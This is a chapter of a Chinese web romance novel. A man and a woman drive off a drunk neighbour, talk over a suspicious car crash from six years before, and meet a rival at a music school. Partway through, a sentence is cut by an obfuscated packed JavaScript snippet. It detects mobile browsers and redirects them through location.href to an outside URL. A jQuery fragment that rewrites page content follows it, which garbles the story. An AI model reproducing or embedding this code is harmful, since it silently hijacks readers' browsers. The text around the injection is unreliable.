26. 第 26 章

作品:《兄弟老婆死后的第六年

    霜见才出去就看见醉汉把拖把棍从穆砚钦手里抽出,抡起就要往穆砚钦身上招呼。


    她几乎没有犹豫,冲过去猛地用鞋跟抽打醉汉胳膊,醉汉吃痛松手,拖把落地。


    霜见朝穆砚钦扔去凳子,“接着。”


    穆砚钦怔怔接过凳子,嘴角抽动。


    这人换了副身体,怎么还是这么...虎!


    醉汉目眦欲裂盯着霜见,伸出另一只手就要抓她,霜见一鞋跟又抽上去,那伸出的手瞬间缩回,哀嚎一身,疼得原地跺脚。


    穆砚钦看了眼凳子,又看了眼霜见,默默把凳子放下,语气不善:“你过来。”


    霜见不明所以提着鞋子走过去,穆砚钦把她摁在凳子上。


    “坐这,老实点。”


    穆砚钦弯身捡起拖把,猛地挥向男人,那男人连连后退后被穆砚钦抵在栏杆上。


    “别欺负这家人,否则,见你一次,”他朝霜见方向侧了侧头,“就让这位女侠揍你一次。”


    那醉汉双手疼得麻木,两只胳膊直直垂在身侧痛得轻颤。


    酒意和痛意麻痹大脑,之前的威风不在,含糊不清说着知道了。


    穆砚钦扔掉拖把,“滚。”


    醉汉踉跄跑走,在与王家两门之隔的门外站定,垂着的手艰难从口袋摸钥匙,颤抖着打开门,看了穆砚钦和坐着的霜见一眼,快速溜进屋内,砰地关上了门。


    随之几户看热闹的邻居也冷漠合上了门。


    穆砚钦转身睨了眼乖乖坐在凳子上的霜见,嘴角不自觉染上笑意,“你还真是,”看向她的赤脚,“光脚的不怕穿鞋的。”


    霜见两只白皙的脚掌窘迫地叠在一处,对上穆砚钦的目光,脚不自在往回收了收。


    “怎么还不穿鞋?”


    “坏了。”


    穆砚钦俯身拾起霜见身边的鞋子,鞋跟开口了,没有完全掉,反而不好再穿。


    他揶揄道:“阮女侠还真是威武,不对,”


    他摇头,那狡黠的笑意让霜见竖起戒备,以为他又要怀疑自己和阮诺有什么纠葛时,就见他弯腰定定凝住她,温热鼻息喷洒在她面颊上,“你不应该姓阮,应该姓硬,硬女侠威武霸气,我以后就靠你罩着了。”


    穆砚钦那双丹凤眼微微上扬,幽深的眸光像是冬日里燃起的火苗,灼得霜见起了一身鸡皮疙瘩。


    王老太和王霏霏出来时就看见两人一坐一站离得极近的姿势。


    王老太以为霜见受了伤,穆砚钦在帮她查看,忙说:“哪受伤了?”


    霜见清泠泠的眸子颤了颤慌忙起身,两人额头相撞,穆砚钦闷哼一声捂住额头,“阮,”下一个字被他咽了回去,“霜见!”


    霜见也捂着自己头顶,两只脚不安搓着,“对不起,对不起。”


    穆砚钦没好气睨了她一眼,转而对王霏霏说:“拿双鞋给她穿。”


    王霏霏看了眼霜见光着的脚,转身去拿鞋。


    穆砚钦帮着王奶奶一起收拾门前狼藉,霜见要帮忙,被他赶进屋里,“这种事哪能麻烦女侠动手,我来就行。”


    霜见被他噎得气闷,默了默去屋里喝已经凉了的开水。


    穆砚钦忙完去洗手间洗了手,出来走到霜见面前道:“走吧女侠,晚上我一个人走怪害怕的,劳烦您送一下。”


    王霏霏扑哧一声笑了出来,霜见尴尬瞪了穆砚钦一眼,和祖孙俩道别,跟在穆砚钦身后离开。


    霜见脚小些,王霏霏的鞋子不跟脚,随着她的步伐,那鞋子一下下打在她的脚后跟上很难受,她脚步便渐渐放缓。


    穆砚钦走着走着发现人没跟上,他回头就看见月光下的霜见像只小猫般,脚步轻巧,小心翼翼。


    她眉眼如皎洁的月,温和柔美,干净纯粹,整个人白嫩嫩俏生生的与周围污糟破旧的环境形成鲜明对比。


    他忍不住弯唇,“干嘛呢?走这么慢?”


    “鞋子有点大,不跟脚还打脚。”


    他“嗯”了声,安静等着她。


    霜见觉得他今天尤为怪异,有种野狗被骤然训成家犬的突兀感,她走到他跟前,正想说赶紧走吧,他突然蹲了下来。


    他蹲下的动作并不轻柔,甚至有点大马金刀的豪放之态。


    霜见被他猝不及防的动作,吓得向旁跳了一步,“你干嘛?”


    “背你。”


    霜见怀疑自己出现幻听,眼前这人还是穆砚钦吗?


    他黑色的身影没在黑色的夜里,像是墨水溶进歙砚,让人分辨不清。


    两人僵持在墨色下,霜见站在穆砚钦身边,穆砚钦蹲在地上仰头望着她,“干嘛呢,上来。”


    霜见回神,也不管鞋子合不合脚拔腿就跑。


    穆砚钦背她?


    不会才背上就把她扔了吧?


    “阮霜见。”穆砚钦从身后叫她,片刻后,男人温热的手掌扼住她的后脖颈,“跑什么?我是狗吗?怕我追着你咬。”


    霜见皱眉拨开他的手,揉着脖子怨怼地看着他,“你怎么总喜欢捏我脖子,痛。”


    穆砚钦笑着双手环胸,好整以暇看着她,“是吗?我什么时候还捏过你脖子,这不是第一次么?”


    霜见面色微僵,反应过来自己说错话了,虚张声势瞪了穆砚钦一眼,“第一次也很痛。”说完扭身就走。


    穆砚钦再次扼住她的后脖颈,“第二次就不痛了。”


    他眉眼带笑将她转了个方向后很快松开手,“车在这边。”


    两人上了车,穆砚钦一边系安全带一边道:“还说鞋不合脚,兔子都没你跑得快。”


    听他又是那副不咸不淡的语气,这才正常,霜见心底稍安。


    霜见取下后脑勺的鲨鱼夹塞进包里,长发披散下来,遮住她面上神情,沉吟片刻后,声音清淡传出:“你为什么会来王家?”


    “你为什么来,我就为什么来。”他扭头看她,视线直直钻进她的眼底。


    之前王霏霏口中的另一个调查当时车祸的男人应该就是穆砚钦。


    霜见问:“你为什么会怀疑?”


    “我不知道,直觉吧。”


    其实他只是不想放下这件事,想抓紧和她有关的一切,可能是一种执念,也或许是自我麻痹。


    他扭头看她,“你呢?又是托梦?”


    霜见咬住下唇,知道他不会信,还是硬着头皮点头,“嗯。”


    穆砚钦没有拆穿他,而是道:“王霏霏或许知道些什么,六年前,我只是抱着来了解一下卡车司机家里情况的想法来了王家,可她知道我是阮诺朋友后,小姑娘瞬间就变成了刺猬,那态度不像一个十一岁孩子的正常反应。”


    一声遗憾的轻笑从他鼻尖溢出,“不过六年了,我也没问出什么,反倒成了那老太太的免费孙子。”


    这些年王老太有事就会找他,相处过程中,他能感受到祖孙俩是再普通不过的底层老百姓,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846024|189908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    勤勤恳恳,朴实善良。


    他说的随意,然而听完他的话,霜见胸口被什么狠狠撞击了一下。


    可这个人怎么会是穆砚钦?


    她心里好奇,嘴里也就问了出来:“你...和阮诺姐关系很好么?她老公都没有怀疑。”


    穆砚钦握着方向盘的手紧了紧,她总是把他排除在外,似乎自己和她唯一的纽带就是楚川,难道没有楚川,他们连朋友都不算吗?


    思及此,他声音冷了下来,“我乐意,脑子有病就喜欢多管闲事,不行么?”


    霜见见他突然翻脸,忙干笑了声:“行,你想怎么样都行。”


    大少爷心情突然不好,霜见屏气凝神,乖巧坐在一边,不敢再多说一句话。


    直到车子路过一家药店,霜见出声:“那个,能停一下吗?我想去下药店。”


    穆砚钦神情一凛,踩下刹车,紧张看她,“刚刚是哪里受伤了吗?”


    霜见慌忙摇头,“没有,我最近睡眠不好,买点褪黑素。”


    车厢里昏暗,唯有空调丝丝风声刮过二人耳畔,静了数秒,穆砚钦没有解锁车门,而是调转车头。


    “去哪?”霜见看着窗外倒退的的景色,知道这不是送她回家的方向。


    穆砚钦吁走胸腔浊气,丢了一颗糖给霜见,“放心,不会把你卖了。”


    直到看到“翡丽国际”四个字,霜见才知道,这是把她带回他家了,心里更加疑惑。


    “来你家干嘛?”


    穆砚钦把车开进地下车库,“等我一下,马上下来。”


    霜见百无聊赖坐在车上干等着,心底还有些不安,当穆砚钦手里拿着她朝思暮想的布偶娃娃出现时,她眸光骤然亮得惊人。


    唇角梨涡像是湖面被搅起的两片旋涡,那旋涡里还撒了糖,甜腻腻的。


    穆砚钦见她这样,心莫名变软,他把娃娃递给她,“不是说阮诺,”他顿了顿,“托梦让你拿去烧吗?”


    霜见眼里只有娃娃,也不纠结穆砚钦怎么会突然信她鬼扯的托梦说辞,一把接过娃娃,按在怀里好一阵揉搓。


    她嘴角笑意怎么也压不下,硬是装作一本正经对穆砚钦道:“我替阮诺姐姐谢谢你,我改天就去趟万福园。”


    自从这晚后,但凡穆遥来聆听上课,穆砚钦都会亲自接送。


    霜见也发现穆砚钦比以前好相处很多,两人关系莫名变得和谐了。


    穆遥暑假期比平时多一节课,每周三节,两节正课,一节陪练。


    周日的最后一节课是穆遥的陪练课。


    霜见带着她一遍遍练,穆遥特别喜欢霜见在她耳边轻声细语说话。


    她觉得霜见老师和她曾经接触过的老师都不一样,霜见给她上课她要是不好好听,会有种先对不起霜见再对不起自己的错觉。


    一节课结束,两人上完课眉眼含笑从教室出来,穆砚钦坐在大厅里,看见两人这副轻松愉悦的表情,实在不像是刚刚是在上课,倒像是关起门偷偷吃糖了。


    霜见笑着和他说穆遥的上课情况,两人正说着,一道身影出现在大门外。


    两人并未在意,直到那抹身影在两人身边站定,黑影投下,他们同时侧眸看去。


    只见楚川面上漾着柔和笑意看着两人。


    穆砚钦眸光瞬间黯淡,手不自觉在身侧紧紧握成拳。


    只不过多了一个人,可穆砚钦却觉得空气变的稀薄,他呼吸不畅。